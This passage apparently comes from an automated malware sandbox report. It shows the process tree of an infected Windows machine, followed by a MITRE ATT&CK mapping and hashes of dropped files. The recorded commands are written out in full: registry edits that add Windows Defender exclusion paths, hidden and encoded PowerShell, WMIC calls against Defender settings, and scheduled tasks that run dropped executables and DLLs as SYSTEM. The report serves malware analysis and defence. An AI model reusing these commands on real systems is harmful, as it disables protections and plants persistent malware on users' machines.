    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5732
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\XzCRxLAMjkWVuGGMb /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5660
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\XzCRxLAMjkWVuGGMb /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WIjQsZOhtuiKSoXd /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WIjQsZOhtuiKSoXd /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5980
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "giBESFnHt" /SC once /ST 02:51:52 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5460
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "giBESFnHt"
  2⤵
  PID:5784
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5412
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "giBESFnHt"
  2⤵
  PID:5916
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "NEaCSBqXysBCPlvqA" /SC once /ST 05:42:52 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WIjQsZOhtuiKSoXd\QBJFAnahrWxXzYu\WmrNugz.exe\" d4 /uJOadidCz 525403 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Scheduled Task/Job: Scheduled Task
  PID:5940
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "NEaCSBqXysBCPlvqA"
  2⤵
  PID:5928
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1936 -s 944
  2⤵
  - Program crash
  PID:1472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6088
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:5992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5748

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3868

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:5568

C:\Windows\Temp\WIjQsZOhtuiKSoXd\QBJFAnahrWxXzYu\WmrNugz.exe
C:\Windows\Temp\WIjQsZOhtuiKSoXd\QBJFAnahrWxXzYu\WmrNugz.exe d4 /uJOadidCz 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:4732
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bMfeDuSmKBAGoOfQBS"
  2⤵
  PID:5380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:5680
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:764
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:3968
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:4652
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:5652
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\rZPMEzngU\SnPSsw.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ddAsdXfMPNFuAfl" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Scheduled Task/Job: Scheduled Task
  PID:3992
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5316
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ddAsdXfMPNFuAfl2" /F /xml "C:\Program Files (x86)\rZPMEzngU\mVQHQxK.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5312
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "ddAsdXfMPNFuAfl"
  2⤵
  PID:5376
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "ddAsdXfMPNFuAfl"
  2⤵
  PID:5540
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6072
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "kOGKgYpsUQIYrn" /F /xml "C:\Program Files (x86)\KDENuaOqQISU2\kLlBiDK.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5932
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "YbcvEstkhVXck2" /F /xml "C:\ProgramData\XKbpoCnULTQzsVVB\qvCxglM.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5944
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "eLfFCqzmhHqfRsiNs2" /F /xml "C:\Program Files (x86)\itCXZnYssICbfHKCXDR\CaqupZx.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1824
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "AkaVbrYIdJsqguUJkZJ2" /F /xml "C:\Program Files (x86)\LAYqAmppRtojC\zRLAXah.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5180
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4836
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "EzpqHUsZzUnFxcQTT" /SC once /ST 09:04:12 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WIjQsZOhtuiKSoXd\RJRhsIGS\LhrTosF.dll\",#1 /BjLYdidU 525403" /V1 /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5440
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5216
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "EzpqHUsZzUnFxcQTT"
  2⤵
  PID:1092
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "fQMFq1" /SC once /ST 09:59:52 /F /RU "Admin" /TR "\"C:\Program Files\Mozilla Firefox\firefox.exe\""
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1148
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "fQMFq1"
  2⤵
  PID:2196
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "fQMFq1"
  2⤵
  PID:5988
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "NEaCSBqXysBCPlvqA"
  2⤵
  PID:5264
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4732 -s 2444
  2⤵
  - Program crash
  PID:6120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1936 -ip 1936
1⤵
PID:5948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5920
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:2004

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5904

C:\Windows\Temp\hwSlakOgexbeQMmf\haxZTeUOcKzKbBE\gfZsxHR.exe
C:\Windows\Temp\hwSlakOgexbeQMmf\haxZTeUOcKzKbBE\gfZsxHR.exe T3 /NjHadidjA 385132 /S
1⤵
PID:5344
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "blQxnfAaNNFZMWpemd"
  2⤵
  PID:4440
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:2028
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:5988
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:5800
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4264
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:5984
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\WIQLPldOU\MXhHCw.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "zuAKRFeuERsPXGg" /V1 /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5124
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5920
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "zuAKRFeuERsPXGg2" /F /xml "C:\Program Files (x86)\WIQLPldOU\nDghHAD.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1312
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "zuAKRFeuERsPXGg"
  2⤵
  PID:3140
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "zuAKRFeuERsPXGg"
  2⤵
  PID:4040
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "lJTDNNrzcsGlGa" /F /xml "C:\Program Files (x86)\qMeQRvtmXyxU2\wJIaFeC.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2344
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "VRuKNmtcmCQGr2" /F /xml "C:\ProgramData\JHBMAPUCCwSCzfVB\CzYtXVO.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1752
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "UZNAYPGMDJwYFtgCO2" /F /xml "C:\Program Files (x86)\wmJzyKeAXJXSYcIjGXR\TmMHUmg.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2100
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "dnucZiIKRABpvEFHHbL2" /F /xml "C:\Program Files (x86)\ixMyiQryENPMC\kFghoHA.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5044
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "Hompb1" /SC once /ST 05:46:40 /F /RU "Admin" /TR "\"C:\Program Files\Mozilla Firefox\firefox.exe\""
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5376
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "Hompb1"
  2⤵
  PID:1036
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "Hompb1"
  2⤵
  PID:1036
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "AxfyqSaZTcFttLJtv"
  2⤵
  PID:1600
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5344 -s 2108
  2⤵
  - Program crash
  PID:5672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2028 -ip 2028
1⤵
PID:5552

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WIjQsZOhtuiKSoXd\RJRhsIGS\LhrTosF.dll",#1 /BjLYdidU 525403
1⤵
PID:5728
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WIjQsZOhtuiKSoXd\RJRhsIGS\LhrTosF.dll",#1 /BjLYdidU 525403
  2⤵
  PID:6048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "EzpqHUsZzUnFxcQTT"
    3⤵
    PID:4924

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:540
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:3744

C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe
C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe
1⤵
PID:5816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1028 -ip 1028
1⤵
PID:5644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4732 -ip 4732
1⤵
PID:5840

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:6112
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:5528
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1916 -parentBuildID 20240401114208 -prefsHandle 1832 -prefMapHandle 1824 -prefsLen 26154 -prefMapSize 244942 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4dc360c3-a8ff-40c9-bb8c-3cf6c7f5fd5b} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" gpu
    3⤵
    PID:2772
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20240401114208 -prefsHandle 2308 -prefMapHandle 2300 -prefsLen 26190 -prefMapSize 244942 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a0e29b30-db7b-4daf-9409-4acb22c6d035} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" socket
    3⤵
    PID:4408
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1376 -childID 1 -isForBrowser -prefsHandle 3496 -prefMapHandle 3508 -prefsLen 26331 -prefMapSize 244942 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a945788e-d8cb-445c-a32f-61b8382d76f6} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" tab
    3⤵
    PID:4088
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1404 -childID 2 -isForBrowser -prefsHandle 3300 -prefMapHandle 3260 -prefsLen 30576 -prefMapSize 244942 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {deb85149-cb68-41e6-b4a6-b746a5eb2c07} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" tab
    3⤵
    PID:3344
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4676 -childID 3 -isForBrowser -prefsHandle 4668 -prefMapHandle 4664 -prefsLen 27206 -prefMapSize 244942 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d4367db-1d14-49fb-b71b-46a1a0629267} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" tab
    3⤵
    PID:5828
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4860 -childID 4 -isForBrowser -prefsHandle 4852 -prefMapHandle 4848 -prefsLen 27206 -prefMapSize 244942 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8213d964-fe7f-4864-acf9-f412786a7e25} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" tab
    3⤵
    PID:1608
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5500 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 5488 -prefMapHandle 5492 -prefsLen 31629 -prefMapSize 244942 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {57c1c958-87fe-49c4-b2fe-788b274aacaf} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" utility
    3⤵
    PID:5848
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5716 -childID 5 -isForBrowser -prefsHandle 5428 -prefMapHandle 5600 -prefsLen 27206 -prefMapSize 244942 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6c1dc2b8-a3ad-427e-af4a-e76d80cfb6db} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" tab
    3⤵
    PID:5300
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5724 -childID 6 -isForBrowser -prefsHandle 5708 -prefMapHandle 5692 -prefsLen 27206 -prefMapSize 244942 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {08b7eb65-d8d0-4a66-aabe-52117439c908} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" tab
    3⤵
    PID:5648
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5892 -childID 7 -isForBrowser -prefsHandle 5904 -prefMapHandle 5724 -prefsLen 27206 -prefMapSize 244942 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f50f6db5-0161-48a4-a32b-fca5eb9c9454} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" tab
    3⤵
    PID:5428
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4748 -childID 8 -isForBrowser -prefsHandle 4760 -prefMapHandle 4756 -prefsLen 27206 -prefMapSize 244942 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c64396bc-f6ed-4634-9598-d26ae822e238} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" tab
    3⤵
    PID:4488
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6444 -childID 9 -isForBrowser -prefsHandle 6484 -prefMapHandle 6480 -prefsLen 27206 -prefMapSize 244942 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {50731132-3d88-47d5-9423-615b2eb667b8} 5528 "\\.\pipe\gecko-crash-server-pipe.5528" tab
    3⤵
    PID:4200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3432 -ip 3432
1⤵
PID:3136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5344 -ip 5344
1⤵
PID:4732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

Filesize
2.0MB

MD5
a904cdeeb60ef3539252b30a6077a6ad

SHA1
9f1b58166d7a13cbd9bbcfd86b87276f3a320612

SHA256
ae3eb2c9cf720ca7f2406cdd15a39d87430021b6001b368c414c42a48280d627

SHA512
ad93fd9fcb6bc1762460ca07dc79e5a918a49f5e0a7dcff35c6b352e0dc9168f454873801685ab693f8814d8a41c6d1c1d833f208ab79b98babb1bfab6e608c6

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Filesize
2.0MB

MD5
92eff09f9d0613117c42b3f9a65b1996

SHA1
18282245d1ebc2549600792cdeb377e750ee278c

SHA256
967403885f9f001059bffb6b301f7f50185cf1a8811ca607cb72debe970eaa19

SHA512
e7b5db912df777b170f91e3074d6d6683705d01fe377ae26202e43ed5bd4b78dd53f4d2719f4d774f483cf71929b66034d427ac8aa53c7a1afb5193a8b83135e

Download Submit
C:\ProgramData\CFIECBFIDGDA\AEHIEC

Filesize
160KB

MD5
f310cf1ff562ae14449e0167a3e1fe46

SHA1
85c58afa9049467031c6c2b17f5c12ca73bb2788

SHA256
e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855

SHA512
1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

Download Submit
C:\ProgramData\CFIECBFIDGDA\FCFBFH

Filesize
46KB

MD5
14ccc9293153deacbb9a20ee8f6ff1b7

SHA1
46b4d7b004ff4f1f40ad9f107fe7c7e3abc9a9f3

SHA256
3195ce0f7aa2eae2b21c447f264e2bd4e1dc5208353ac72d964a750de9a83511

SHA512
916f2178be05dc329461d2739271972238b22052b5935883da31e6c98d2697bd2435c9f6a2d1fcafb4811a1d867c761055532669aac2ea1a3a78c346cdeba765

Download Submit
C:\ProgramData\CFIECBFIDGDA\FCFBFH

Filesize
116KB

MD5
4e2922249bf476fb3067795f2fa5e794

SHA1
d2db6b2759d9e650ae031eb62247d457ccaa57d2

SHA256
c2c17166e7468877d1e80822f8a5f35a7700ac0b68f3b369a1f4154ae4f811e1

SHA512
8e5e12daf11f9f6e73fb30f563c8f2a64bbc7bb9deffe4969e23081ec1c4073cdf6c74e8dbcc65a271142083ad8312ec7d59505c90e718a5228d369f4240e1da

Download Submit
C:\ProgramData\CFIECBFIDGDA\GIDBKK

Filesize
20KB

MD5
22be08f683bcc01d7a9799bbd2c10041

SHA1
2efb6041cf3d6e67970135e592569c76fc4c41de

SHA256
451c2c0cf3b7cb412a05347c6e75ed8680f0d2e5f2ab0f64cc2436db9309a457

SHA512
0eef192b3d5abe5d2435acf54b42c729c3979e4ad0b73d36666521458043ee7df1e10386bef266d7df9c31db94fb2833152bb2798936cb2082715318ef05d936

Download Submit
C:\ProgramData\CFIECBFIDGDA\GIDBKK

Filesize
5.0MB

MD5
0263528ec0120ed633af96d13a2ebd72

SHA1
706bc631a7d839d79833f1f941bcea4065830181

SHA256
fba1702c3fd00078f91eb182d551b5de72aa528acb0d1653dd87627f19ade7d1

SHA512
7dabfc1aa4ba61294949fcf95ca74e129b14e0bf64d21385b0920b83d4fb2ce7a46337d11262bbd7043c7830cc788cbeb57b2eff76e9bf7bab0ab931d9cd4d63

Download Submit
C:\ProgramData\CFIECBFIDGDA\HDAFHI

Filesize
20KB

MD5
a603e09d617fea7517059b4924b1df93

SHA1
31d66e1496e0229c6a312f8be05da3f813b3fa9e

SHA256
ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7

SHA512
eadb844a84f8a660c578a2f8e65ebcb9e0b9ab67422be957f35492ff870825a4b363f96fd1c546eaacfd518f6812fcf57268ef03c149e5b1a7af145c7100e2cc

Download Submit
C:\ProgramData\CFIECBFIDGDA\HDAKFC

Filesize
96KB

MD5
40f3eb83cc9d4cdb0ad82bd5ff2fb824

SHA1
d6582ba879235049134fa9a351ca8f0f785d8835

SHA256
cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0

SHA512
cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2

Download Submit
C:\ProgramData\CFIECBFIDGDA\KJKKJK

Filesize
40KB

MD5
